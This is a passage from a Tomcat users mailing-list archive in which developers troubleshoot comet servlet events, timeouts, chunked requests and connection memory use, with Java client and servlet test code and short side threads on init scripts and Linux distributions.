Windows XP machine. Could anyone shed some light on why this might > > be happening, or give me some clues as to how to debug? Could it be a > > firewall issue on the client end, a router issue on my end? > > > > The test is currently up at: http://www.seekspeak.com/test.html. It > > tests: a http connection to a normal servlet, then a comet connection > > to a comet servlet using httpurlconnection, then a comet connection to > > a comet servlet using a socket. For the failing client, both comet > > tests fail. > > > > Below is some of the test code for the raw socket test. > > > > Thanks for any help! > > > > Peter > > > > CLIENT > > -- > > private void testCometConnection() throws IOException { > > ... > > URL url = new URL("http://www.seekspeak.com/CometTest";); > > channel = new CometChannel(url); > > Thread testThread = new Thread() { > > public void run() { > > try { > > channel.send("test"); > > String received = channel.receive(); > > ... > > } > > } catch (IOException ioe) { > > ioe.printStackTrace(); > > } > > } > > }; > > testThread.start(); > > ... > > } > > > > private class CometChannel { > > > > private static final int INPUT_BUFFER_SIZE = 512; > > > > private static final int OUTPUT_BUFFER_SIZE = 512; > > > > private static final String DELIMITER = "\r\n"; > > > > private URL url; > > > > private BufferedReader inputReader; > > > > private PrintWriter outputWriter; > > > > private Socket socket; > > > > public CometChannel(URL url) throws IOException { > > this.url = url; > > initConnection(); > > } > > > > private void initSocket() throws IOException { > > int port = url.getPort(); > > port = (port < 0) ? url.getDefaultPort() : port; > > try { &g
comet questions
I have some comet questions. I'm using the tomcat 6.0.x trunk as of last Friday. 1) My comet event timeout setting being honored. How come? I set the timeout for 3 hours but a timeout event gets generated every 2 minutes. If I inspect the comet event for which the timeout is triggered, I see a setting for the request attribute of: org.apache.tomcat.comet.timeout=1080. I set it as follows: public void event(CometEvent cometEvent) throws IOException, ServletException { ... if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { // COMET_TIMEOUT = 3 * 60 * 60 * 1000 cometEvent.setTimeout(TimingConstants.COMET_TIMEOUT); Do I need to set something else as well? 2) Occasionally I'm getting a comet event of type ERROR without any subtype (i.e. not TIMEOUT, CLIENT_DISCONNECT, etc.). What does that indicate? I don't see any errors in my catalina log. 3) Reading the response from a comet servlet fails for one of my client machines. I wrote a simple test to check the problem. This test succeeds for many other users. For the failing client, the client request is received by the comet servlet, and the servlet's response is written and flushed to the stream. The client then simply waits indefinitely trying to read the response. The failing client is a Windows XP machine. Could anyone shed some light on why this might be happening, or give me some clues as to how to debug? Could it be a firewall issue on the client end, a router issue on my end? The test is currently up at: http://www.seekspeak.com/test.html. It tests: a http connection to a normal servlet, then a comet connection to a comet servlet using httpurlconnection, then a comet connection to a comet servlet using a socket. For the failing client, both comet tests fail. Below is some of the test code for the raw socket test. Thanks for any help! Peter CLIENT -- private void testCometConnection() throws IOException { ... URL url = new URL("http://www.seekspeak.com/CometTest";); channel = new CometChannel(url); Thread testThread = new Thread() { public void run() { try { channel.send("test"); String received = channel.receive(); ... } } catch (IOException ioe) { ioe.printStackTrace(); } } }; testThread.start(); ... } private class CometChannel { private static final int INPUT_BUFFER_SIZE = 512; private static final int OUTPUT_BUFFER_SIZE = 512; private static final String DELIMITER = "\r\n"; private URL url; private BufferedReader inputReader; private PrintWriter outputWriter; private Socket socket; public CometChannel(URL url) throws IOException { this.url = url; initConnection(); } private void initSocket() throws IOException { int port = url.getPort(); port = (port < 0) ? url.getDefaultPort() : port; try { socket = new Socket(url.getHost(), port); socket.setKeepAlive(true); inputReader = new BufferedReader(new InputStreamReader(socket.getInputStream()), INPUT_BUFFER_SIZE); outputWriter = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()), OUTPUT_BUFFER_SIZE)); } catch (NoRouteToHostException nrthe) { System.out.println("host: " + url.getHost()); nrthe.printStackTrace(); } } private void initConnection() throws IOException { initSocket(); sendHeaders(); } private void sendHeaders() { String path = url.getPath(); StringBuffer outputBuffer = new StringBuffer(); outputBuffer.append("POST " + path + " HTTP/1.1" + DELIMITER); outputBuffer.append("Host: " + url.getHost() + DELIMITER); outputBuffer.append("User-Agent: CometTestApplet" + DELIMITER); outputBuffer.append("Connection: keep-alive" + DELIMITER); outputBuffer.append("Content-Type: text/plain" + DELIMITER); outputBuffer.append("Transfer-Encoding: chunked" + DELIMITER); outputBuffer.append(DELIMITER); synchronized (outputWriter) { outputWriter.print(outputBuffer.toString()); } } public void send(String chunkData) throws IOException { // chunk length field in hex String hexChunkLength = Integer.toHexString(chunkData.length()); StringBuffer outputBuffer = new StringBuffer(); outputBuffer.append(hexChunkLength); outputBuffer.append(DELIMITER); outputBuffer.append(chunkData);
Re: tomcat init script not LSB compliant
Most distros have a skeleton script (or something similarly named) in /etc/init.d. Poke around in there. On 11/21/07, Waseem Azhar <[EMAIL PROTECTED]> wrote: > Hi All, > > Could anybody tell me how to make tomcat script LSB compliant ? I am using > Linux High availability project. The heartbeat daemon complaining the > following: > > info: Running /etc/init.d/tomcat start > ERROR: Return code 1 from /etc/init.d/tomcat > CRIT: Giving up resources due to failure of tomcat > info: Running /etc/init.d/tomcat stop > ERROR: Return code 1 from /etc/init.d/tomcat > info: Retrying failed stop operation [tomcat] > ResourceManager[4188]: info: Running /etc/init.d/tomcat stop > info: Retrying failed stop operation [tomcat] > ERROR: Resource script for tomcat probably not LSB-compliant. > WARN: it (tomcat) MUST succeed on a stop when already stopped > > All I know about LSB is that you should provide start/stop/status options in > your script which I did but got confused with return values (RETVAL???, exit > 0/1). > I am using tomcat & heartbeat on Fedora7. Please help, or point to any > useful resource. > > Thanks, > -Azhar > - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Best Linux distribution
Point taken. We ran a Vax until last year... On Nov 15, 2007 10:52 AM, Steve Ochani <[EMAIL PROTECTED]> wrote: > If everyone based their decisions solely on that criteria we would be all > using pdp-11s. > > > > On 15 Nov 2007 at 6:19, Warren Pace wrote: > > > > And that is the correct answer. > > > > On Nov 15, 2007 5:54 AM, Peter Crowther > > <[EMAIL PROTECTED]> wrote: > > > > From: Andrew Hole [mailto:[EMAIL PROTECTED] > > > > In your opinion what is the best LINUX distribution for a server > > with > > > > an instance of Tomcat and an J2EE application of medium load? > > > > > > The one with which your organisation already has experience. > > Familiarity and ease of admin is king here. > > > > > > - Peter > > > > > > > > > > > > > - > > > To start a new topic, e-mail: users@tomcat.apache.org > > > To unsubscribe, e-mail: [EMAIL PROTECTED] > > > For additional commands, e-mail: [EMAIL PROTECTED] > > > > > > > > > > > > > - > > To start a new topic, e-mail: users@tomcat.apache.org > > To unsubscribe, e-mail: [EMAIL PROTECTED] > > For additional commands, e-mail: [EMAIL PROTECTED] > > > > > > - > To start a new topic, e-mail: users@tomcat.apache.org > To unsubscribe, e-mail: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > > - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Best Linux distribution
And that is the correct answer. On Nov 15, 2007 5:54 AM, Peter Crowther <[EMAIL PROTECTED]> wrote: > > From: Andrew Hole [mailto:[EMAIL PROTECTED] > > In your opinion what is the best LINUX distribution for a server with > > an instance of Tomcat and an J2EE application of medium load? > > The one with which your organisation already has experience. Familiarity and > ease of admin is king here. > > - Peter > > > - > To start a new topic, e-mail: users@tomcat.apache.org > To unsubscribe, e-mail: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > > - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Tomcat memory issues
> As far as I under stand I should NOT close the "stream" object as I didn't > open it. That's my understanding too. When I said I was keeping connections open, I meant I was opening connections from the client and not closing them. Since I'm using comet servlets, the server keeps the connections open until the client disconnects. When I open many connections, I see classes in my heap similar to those you show. If you keep a reference to the Request object tucked away somewhere on the server inadvertently, the associated buffers won't go away and memory will continue to grow. Is it possible that you're keeping a reference to the Request or any of the "streams" somewhere? Is it possible that some of your servlets aren't returning and thus never closing their connections? What classes are holding references to these classes? - org.apache.catalina.connector.ResponseFacade (ACCA) - [] (ACCB) - org.apache.catalina.connector.Request (ACCC) Peter On 9/7/07, Morten <[EMAIL PROTECTED]> wrote: > > "Peter Warren" <[EMAIL PROTECTED]> skrev i en meddelelse > news:[EMAIL PROTECTED] > > Is it possible you're caching Request or Response objects somewhere > > and not releasing them? I just did a bunch of memory profiling and > > many of the classes you mention are the same classes I see when I open > > and don't close a bunch of connections to the server. > > > My code in the bottom of the servlet is such: > > ServletOutputStream stream = _response.getOutputStream(); > BufferedOutputStream bos = new BufferedOutputStream(stream); > bos.write(bytes); > stream.flush(); > bos.close(); > > As far as I under stand I should NOT close the "stream" object as I didn't > open it. > > Best regards, > > Morten > > > > > > > - > To start a new topic, e-mail: users@tomcat.apache.org > To unsubscribe, e-mail: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > > - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Tomcat memory issues
Is it possible you're caching Request or Response objects somewhere and not releasing them? I just did a bunch of memory profiling and many of the classes you mention are the same classes I see when I open and don't close a bunch of connections to the server. - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
comet webapp memory optimization
I have a webapp that maintains many concurrent comet connections. Transmissions between the client and server are small and infrequent. I'm trying to lessen the memory usage by playing with buffer configurations. To test various configurations, I wrote a client that opens 2000 connections to a comet servlet. Each connection sends a short message and receives a short message back from the server. I do not close the connections. I'm using the NetBeans 6.0 profiler to look at memory use. The first thing I did was configure the http connector with the following settings (maybe a little extreme, but I'm just playing here): socket.appReadBufSize="512" socket.appWriteBufSize="512" socket.rxBufSize="512" socket.txBufSize="512" These settings reduced vm heap memory use from 251 MB to 220 MB. Then I changed my comet servlet to use my own BufferedReader and PrintWriter with buffer sizes of 512k, instead of using the Reader from HttpServletRequest.getReader() and the Writer from HttpServletResponse.getWriter(), which both have larger default buffer sizes. This reduced memory use from 220 MB to 138 MB. At this point much of the memory was in char arrays in org.apache.catalina.connector.InputBuffer objects, and byte arrays in org.apache.catalina.connector.OutputBuffer objects. Since I couldn't find a way to tweak these buffer sizes with config settings or external code, I tried modifying the tomcat code. I changed the DEFAULT_BUFFER_SIZE in both those classes to 1024 from 8192. This reduced memory use from 138 MB to 95 MB. Now byte arrays in InternalNioInputBuffer and InternalNioOutputBuffer looked like promising targets. To modify these, I changed the maxHttpHeaderSize in Http11NioProtocol to 1024 from 8192. This reduced memory use from 95 MB to 66 MB. At this point my heap map shows the main consumers of memory as follows: Of the 66 MB on the heap: char[] account for 26% (below shows %s of the 26%) Parameters in Request 56% InputBuffer in Request 6% byte[] 19% (below shows %s of the 19%) BufferedInputFilter in Http11NioProcessor 19% OutputBuffer in Response 19% NioBufferHandler in NioEndpoint 19% InternalNioInputBuffer in Http11NioProcessor 20% InternalNioOutputBuffer in Http11NioProcessor 18% So... 1) Are any of the changes listed above bad ideas? What is the danger of sizing buffers too small? Is it just a performance hit, or is there a danger of losing data? 2) Is there a way for me to change the buffer sizes in InputBuffer, OutputBuffer, InternalNioInputBuffer, and InternalNioOutputBuffer without having to change Tomcat code? 3) Does anyone have other ideas for minimizing memory use in a many-connection, small-data-size webapp? Thanks, Peter - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
comet read & httpsession timeout
A comet read event doesn't update the last accessed time of an HttpSession -- which means comet read events will never prevent an http session (not the comet session) from timing out and the connection getting closed. Is that by design? If so, can anyone offer me suggestions on how to handle long-lived comet connections that may outlive the http session timeout? I had been hoping to periodically send a comet read event to update the access time of the http session. But, given that comet reads don't affect access time of the http session, it seems my best option is to periodically close the comet connection and open a new one. Or is there a way for me to programmatically update the http session access time (I couldn't find one in the HttpSession docs)? Any other thoughts? Thanks, Peter - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: multiple comet requests
Filip, thank you for your very prompt response! I replaced the tomcat-coyote.jar with yours and now get the following exception on startup. Is there another jar that I need to update? Thanks, Peter Aug 14, 2007 9:02:29 PM org.apache.tomcat.util.digester.Digester startElement SEVERE: Begin event threw error java.lang.NoSuchMethodError: org.apache.tomcat.util.IntrospectionUtils.setProperty(Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;)V at org.apache.catalina.startup.SetAllPropertiesRule.begin(SetAllPropertiesRule.java:66) at org.apache.tomcat.util.digester.Digester.startElement(Digester.java:1358) at com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser.startElement(Unknown Source) at com.sun.org.apache.xerces.internal.parsers.AbstractXMLDocumentParser.emptyElement(Unknown Source) at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanStartElement(Unknown Source) at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl$FragmentContentDriver.next(Unknown Source) at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(Unknown Source) at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source) at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(Unknown Source) at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(Unknown Source) at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(Unknown Source) at com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser.parse(Unknown Source) at com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl$JAXPSAXParser.parse(Unknown Source) at org.apache.tomcat.util.digester.Digester.parse(Digester.java:1644) at org.apache.catalina.startup.Catalina.load(Catalina.java:504) at org.apache.catalina.startup.Catalina.load(Catalina.java:538) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at org.apache.catalina.startup.Bootstrap.load(Bootstrap.java:260) at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:412) Filip Hanik - Dev Lists wrote: turns out that if the request is comet, the recycling of the input/output filter is not happening. I have fixed this, you can try the tomcat-coyote.jar from http://people.apache.org/~fhanik/tomcat/tomcat-coyote.jar Filip Filip Hanik - Dev Lists wrote: hi Peter, thanks for the example, I am able to reproduce this error, let me take a look and see why it is happening, Filip Peter Warren wrote: How do you send multiple requests to the same comet servlet? Sending multiple chunks of a single request is fine. My problem occurs after the client ends the chunked transaction by sending "0CRLFCRLF" to the server. The comet servlet correctly registers the END event. But then the client subsequently tries to initiate a new chunked request by sending new http headers and a new chunk. The comet servlet receives a BEGIN event, immediately followed by an END event. A READ event is never generated for the new chunk. No ERROR events are registered either. Sequence: 1st request BEGIN READ END 2nd request BEGIN END - why an END event and not a READ? Below are my test client and test comet servlet. Any thoughts on what I'm doing wrong? (I apologize in advance if this is a lack of understanding of http on my part. I have looked at the specs and tried to follow the rules but am still running into problems.) Thanks, Peter - import java.io.IOException; import java.io.InputStream; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.catalina.CometEvent; import org.apache.catalina.CometProcessor; public class CometTestServlet extends HttpServlet implements CometProcessor { private static final long serialVersionUID = 5472498184127924791L; public void event(CometEvent cometEvent) throws IOException, ServletException { HttpServletRequest request = cometEvent.getHttpServletRequest(); HttpServletResponse response = cometEvent.getHttpServletResponse(); // don't want timeout events cometEvent.setTimeout(100); if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { log("Begin for session: " + request.getSession(true).getId()); } else if (cometEvent.getEventType() == CometEvent.EventType.ERROR) { log("Error for session: " + request.getSession(true).getId() + ", " + cometEvent.getEventSubType()); cometEvent.close(); } else if (cometEvent.getEventType() == CometEvent
multiple comet requests
How do you send multiple requests to the same comet servlet? Sending multiple chunks of a single request is fine. My problem occurs after the client ends the chunked transaction by sending "0CRLFCRLF" to the server. The comet servlet correctly registers the END event. But then the client subsequently tries to initiate a new chunked request by sending new http headers and a new chunk. The comet servlet receives a BEGIN event, immediately followed by an END event. A READ event is never generated for the new chunk. No ERROR events are registered either. Sequence: 1st request BEGIN READ END 2nd request BEGIN END - why an END event and not a READ? Below are my test client and test comet servlet. Any thoughts on what I'm doing wrong? (I apologize in advance if this is a lack of understanding of http on my part. I have looked at the specs and tried to follow the rules but am still running into problems.) Thanks, Peter - import java.io.IOException; import java.io.InputStream; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.catalina.CometEvent; import org.apache.catalina.CometProcessor; public class CometTestServlet extends HttpServlet implements CometProcessor { private static final long serialVersionUID = 5472498184127924791L; public void event(CometEvent cometEvent) throws IOException, ServletException { HttpServletRequest request = cometEvent.getHttpServletRequest(); HttpServletResponse response = cometEvent.getHttpServletResponse(); // don't want timeout events cometEvent.setTimeout(100); if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { log("Begin for session: " + request.getSession(true).getId()); } else if (cometEvent.getEventType() == CometEvent.EventType.ERROR) { log("Error for session: " + request.getSession(true).getId() + ", " + cometEvent.getEventSubType()); cometEvent.close(); } else if (cometEvent.getEventType() == CometEvent.EventType.END) { log("End for session: " + request.getSession(true).getId()); cometEvent.close(); } else if (cometEvent.getEventType() == CometEvent.EventType.READ) { log("Read for session: " + request.getSession(true).getId()); respond(request, response); } } private void respond(HttpServletRequest request, HttpServletResponse response) throws IOException { String clientMessage = read(request); if (clientMessage != null && clientMessage.length() > 0) { response.getWriter().print(clientMessage); response.getWriter().flush(); } } private String read(HttpServletRequest request) throws IOException { InputStream is = request.getInputStream(); StringBuffer inputBuffer = new StringBuffer(); byte[] buf = new byte[512]; while (is.available() > 0) { int n = is.read(buf); // can throw an IOException if (n > 0) { inputBuffer.append(new String(buf, 0, n)); log("Read " + n + " bytes: " + new String(buf, 0, n) + " for session: " + request.getSession(true).getId()); } else if (n < 0) { log("comet read error"); } } return inputBuffer.toString(); } } - import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class CometTestClient1 { public static final String ENCODING = "ISO-8859-1"; private Socket socket; private OutputStream out; public static void main(String[] args) throws Exception { CometTestClient1 test = new CometTestClient1(); test.test(); } public CometTestClient1() throws IOException { initConnection(); } private void initConnection() throws IOException { socket = new Socket("127.0.0.1", 80); socket.setKeepAlive(true); out = socket.getOutputStream(); sendHeaders(); } private void sendHeaders() throws IOException { println("GET /CometTest HTTP/1.1"); println("Host: 127.0.0.1"); println("User-Agent: test"); println("Transfer-Encoding: chunked"); println("Connection: keep-alive"); } private void test() throws IOException { sendChunkedMessage(); try { Thread.sleep(6); } catch (InterruptedException ie) { ie.printStackTrace(); } // doesn't seem to matter if I create a new socket connection or not //initConnection(); sendHeaders(); sendChunkedMessage(); } private void sendChunkedMessage() throws IOException { println(); println("10"); print("test data test 1"); out.flush()
Re: comet read event
CometProcessor; public class CometTestServlet extends HttpServlet implements CometProcessor { private static final long serialVersionUID = 5472498184127924791L; public void event(CometEvent cometEvent) throws IOException, ServletException { HttpServletRequest request = cometEvent.getHttpServletRequest(); HttpServletResponse response = cometEvent.getHttpServletResponse(); // don't want timeout events cometEvent.setTimeout(100); if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { log("Begin for session: " + request.getSession(true).getId()); respond(request, response); } else if (cometEvent.getEventType() == CometEvent.EventType.ERROR) { log("Error for session: " + request.getSession(true).getId() + ", " + cometEvent.getEventSubType()); cometEvent.close(); } else if (cometEvent.getEventType() == CometEvent.EventType.END) { log("End for session: " + request.getSession(true).getId()); cometEvent.close(); } else if (cometEvent.getEventType() == CometEvent.EventType.READ) { log("Read for session: " + request.getSession(true).getId()); respond(request, response); } } private void respond(HttpServletRequest request, HttpServletResponse response) throws IOException { String clientMessage = read(request); if (clientMessage != null && clientMessage.length() > 0) { response.getWriter().println(clientMessage); response.getWriter().flush(); } } private String read(HttpServletRequest request) throws IOException { InputStream is = request.getInputStream(); StringBuffer inputBuffer = new StringBuffer(); byte[] buf = new byte[512]; do { int n = is.read(buf); // can throw an IOException if (n > 0) { inputBuffer.append(new String(buf, 0, n)); log("Read " + n + " bytes: " + new String(buf, 0, n) + " for session: " + request.getSession(true).getId()); } else if (n < 0) { log("comet read error"); } } while (is.available() > 0); return inputBuffer.toString(); } } Filip Hanik - Dev Lists wrote: > why don't you make your test available, I'll run it through > > Filip > > Peter Warren wrote: >> Yes, I'm using the NIO connector. Here is the config line from my >> server.xml: >> >> > protocol="org.apache.coyote.http11.Http11NioProtocol" maxThreads="150" >> connectionTimeout="2" keepAliveTimeout="12" >> maxKeepAliveRequests="-1" acceptorThreadCount="2" redirectPort="8443" /> >> >> Are there any other configuration options I need to set? >> >> Peter >> >> Filip Hanik - Dev Lists wrote: >> >>> and you are using the APR or the NIO connector right? >>> >>> Filip >>> >>> Peter Warren wrote: >>> >>>> Thanks for the suggestion. I changed the comet test servlet to read >>>> directly from the input stream as shown in the advanced io >>>> example. I'm >>>> still seeing the same behavior. No comet read event gets generated on >>>> the server, only the begin event which contains the client's first >>>> message. The client then sends its second message and blocks waiting >>>> for the server. No events are generated on the server in response to >>>> the client's second message. Any other tips for me? >>>> >>>> Thanks, >>>> Peter >>>> >>>> from the CometTestServlet: >>>> >>>> public void event(CometEvent cometEvent) throws IOException, >>>> ServletException { >>>> ... >>>> if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { >>>> log("Begin for session: " + >>>> request.getSession(true).getId()); >>>> String clientMessage = read(request); >>>> if (clientMessage != null && clientMessage.length() > 0) { >>>> response.getWriter().println(clientMessage); >>>> response.getWriter().flush(); >>>> } >>>> } >>>> ... >>>> >>>> private String read(HttpServletRequest request) throws >>>> IOException { >>>> InputStream is = reques
Re: [maybe not solved] comet read event
Hmm, ok. Sending the headers up causes the comet servlet to behave as I expected, one BEGIN event generated on the first client request and one READ event generated on the second request. In my simple test, the comet servlet doesn't receive the headers as data. If I don't send up the headers on the second request, the READ event is never generated (in fact no event is generated) and the client hangs waiting for a response from the comet servlet. Doesn't your cometgui send the headers with each request? Peter Filip Hanik - Dev Lists wrote: > you're treading dangerous waters my friend. the comet is somewhat like > a real socket, and sending up new HTTP headers might end up just being > data for the Comet servlet. > > Filip > > Peter Warren wrote: >> My client code was the problem. I had been thinking of the comet >> interaction with the server as similar to a socket, open it once and >> then read and write merrily from either end. I forgot that comet is >> still operating over http and the client needs to send http headers for >> each request. So the fix in my client code is simply to open a new >> HttpURLConnection for each client request, which hopefully does not >> establish a new socket connection to the server each time ("Each >> HttpURLConnection instance is used to make a single request but the >> underlying network connection to the HTTP server may be transparently >> shared by other instances" -- from javadoc for HttpURLConnection). See >> added "initConnection()" line below. >> >> Peter >> >> ### from CometTestClient below ### >> >> public void test() throws IOException { >> out.println("test 1"); >> out.flush(); >> >> String line = read(urlConn.getInputStream()); >> System.out.println(line); >> >> --->initConnection(); // reconnect to url - sends new http headers >> out.println("test 2"); >> out.flush(); >> >> line = read(urlConn.getInputStream()); >> System.out.println(line); >> >> out.close(); >> urlConn.disconnect(); >> } >> >> >> Peter Warren wrote: >> >>> Thanks for the suggestion. I changed the comet test servlet to read >>> directly from the input stream as shown in the advanced io example. >>> I'm >>> still seeing the same behavior. No comet read event gets generated on >>> the server, only the begin event which contains the client's first >>> message. The client then sends its second message and blocks waiting >>> for the server. No events are generated on the server in response to >>> the client's second message. Any other tips for me? >>> >>> Thanks, >>> Peter >>> >>> from the CometTestServlet: >>> >>> public void event(CometEvent cometEvent) throws IOException, >>> ServletException { >>> ... >>> if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { >>> log("Begin for session: " + >>> request.getSession(true).getId()); >>> String clientMessage = read(request); >>> if (clientMessage != null && clientMessage.length() > 0) { >>> response.getWriter().println(clientMessage); >>> response.getWriter().flush(); >>> } >>> } >>> ... >>> >>> private String read(HttpServletRequest request) throws >>> IOException { >>> InputStream is = request.getInputStream(); >>> StringBuffer inputBuffer = new StringBuffer(); >>> byte[] buf = new byte[512]; >>> do { >>> int n = is.read(buf); // can throw an IOException >>> if (n > 0) { >>> inputBuffer.append(new String(buf, 0, n)); >>> log("Read " + n + " bytes: " + new String(buf, 0, n) >>> + " >>> for session: " >>> + request.getSession(true).getId()); >>> } else if (n < 0) { >>> log("comet read error"); >>> } >>> } while (is.available() > 0); >>> return inputBuffer.toString(); >>> } >>> >>> from the CometTestClient: >>> >>> public void test() throws IOException { >>> out.println("test 1"); >>
Re: [solved] comet read event
My client code was the problem. I had been thinking of the comet interaction with the server as similar to a socket, open it once and then read and write merrily from either end. I forgot that comet is still operating over http and the client needs to send http headers for each request. So the fix in my client code is simply to open a new HttpURLConnection for each client request, which hopefully does not establish a new socket connection to the server each time ("Each HttpURLConnection instance is used to make a single request but the underlying network connection to the HTTP server may be transparently shared by other instances" -- from javadoc for HttpURLConnection). See added "initConnection()" line below. Peter ### from CometTestClient below ### public void test() throws IOException { out.println("test 1"); out.flush(); String line = read(urlConn.getInputStream()); System.out.println(line); --->initConnection(); // reconnect to url - sends new http headers out.println("test 2"); out.flush(); line = read(urlConn.getInputStream()); System.out.println(line); out.close(); urlConn.disconnect(); } Peter Warren wrote: > Thanks for the suggestion. I changed the comet test servlet to read > directly from the input stream as shown in the advanced io example. I'm > still seeing the same behavior. No comet read event gets generated on > the server, only the begin event which contains the client's first > message. The client then sends its second message and blocks waiting > for the server. No events are generated on the server in response to > the client's second message. Any other tips for me? > > Thanks, > Peter > > from the CometTestServlet: > > public void event(CometEvent cometEvent) throws IOException, > ServletException { > ... > if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { > log("Begin for session: " + request.getSession(true).getId()); > String clientMessage = read(request); > if (clientMessage != null && clientMessage.length() > 0) { > response.getWriter().println(clientMessage); > response.getWriter().flush(); > } > } > ... > > private String read(HttpServletRequest request) throws IOException { > InputStream is = request.getInputStream(); > StringBuffer inputBuffer = new StringBuffer(); > byte[] buf = new byte[512]; > do { > int n = is.read(buf); // can throw an IOException > if (n > 0) { > inputBuffer.append(new String(buf, 0, n)); > log("Read " + n + " bytes: " + new String(buf, 0, n) + " > for session: " > + request.getSession(true).getId()); > } else if (n < 0) { > log("comet read error"); > } > } while (is.available() > 0); > return inputBuffer.toString(); > } > > from the CometTestClient: > > public void test() throws IOException { > out.println("test 1"); > out.flush(); > > String line = read(urlConn.getInputStream()); > System.out.println(line); > > out.println("test 2"); > out.flush(); > > line = read(urlConn.getInputStream()); > System.out.println(line); > > out.close(); > urlConn.disconnect(); > } > > private String read(InputStream is) throws IOException { > StringBuffer inputBuffer = new StringBuffer(); > byte[] buf = new byte[512]; > do { > int n = is.read(buf); // can throw an IOException > if (n > 0) { > inputBuffer.append(new String(buf, 0, n)); > } else if (n < 0) { > return ("read error"); > } > } while (is.available() > 0); > return inputBuffer.toString(); > } > > Filip Hanik - Dev Lists wrote: > >> take a look at the documentation, the way you are reading it is >> incorrect. >> you need to take advantage of the available() method >> >> Filip >> >> Peter Warren wrote: >> >>> My BEGIN block in my comet servlet now looks like the code below (added >>> a while loop to read until the buffer is empty). Is that what you had >>> in mind? The buffer in the BEGIN event only contains the client's first >>> message. Am I not emptying the buffer correctly? Although, I wouldn
Re: tomcat comet, not working...
Filip, could you post some client code that sends two separate messages to the server on the same output stream and generates both a begin event and then a subsequent read event. Thanks, Peter (I'm the guy who started the "comet read event" thread. I never heard back after you asked me which connector I was using, and I'm still struggling with it.) Filip Hanik - Dev Lists wrote: > you don't really have to do that much, here is mine > > package org.hanik.comet.test; > > > import java.io.IOException; > import java.io.InputStream; > import javax.servlet.ServletException; > import javax.servlet.http.HttpServlet; > > import org.apache.catalina.CometEvent; > import org.apache.catalina.CometProcessor; > > > > public class TestCometServlet extends HttpServlet implements > CometProcessor { > public void event(CometEvent event) >throws IOException, ServletException { >System.out.println("Received an event:"+event); >event.setTimeout(5000); >if (event.getEventType() == CometEvent.EventType.END || >event.getEventType() == CometEvent.EventType.ERROR ) { >event.close(); >} else if (event.getEventType() == CometEvent.EventType.READ) { >InputStream is = > event.getHttpServletRequest().getInputStream(); >byte[] buf = new byte[512]; >do { >int n = is.read(buf); //can throw an IOException >if (n > 0) { >System.out.println("Read " + n + " bytes: " + new > String(buf, 0, n) + " for session: " + > event.getHttpServletRequest().getSession(true).getId()); >} else if (n < 0) { >event.close(); >return; >} >} while (is.available() > 0); > >} >} > } > > > > Szabolcs Márton wrote: >> i will send later, i cant ftp from here. >> any other ideas? >> >> i would like if somebody, who made this cometprocessor worked describe >> the things what have to do. I already done what is in tomcat docs >> (advanced NIO) >> >> regards, >> Saby >> >> 2007/5/29, Filip Hanik - Dev Lists <[EMAIL PROTECTED]>: >>> send us a link to your test WAR file, and I can give it a shot, looks >>> good to me. >>> >>> Filip >>> >>> Márton Szabolcs wrote: >>> > Hi! >>> > >>> > i set my connector like this. >>> > it should be correct, isnt it? >>> > >>> > >> protocol="org.apache.coyote.http11.Http11NioProtocol" >>> > maxThreads="150" connectionTimeout="2" >>> > redirectPort="8443" /> >>> > >>> > >>> > CometSampleServlet >>> > sample.CometSampleServlet >>> > >>> > >>> > CometSampleServlet >>> > /CometSampleServlet >>> > >>> > >>> > public class CometSampleServlet >>> > extends HttpServlet implements CometProcessor { >>> > >>> > protected ArrayList connections = >>> > new ArrayList(); >>> > protected MessageSender sender = null; >>> > >>> > /** >>> > */ >>> > public void event(CometEvent event) throws IOException, 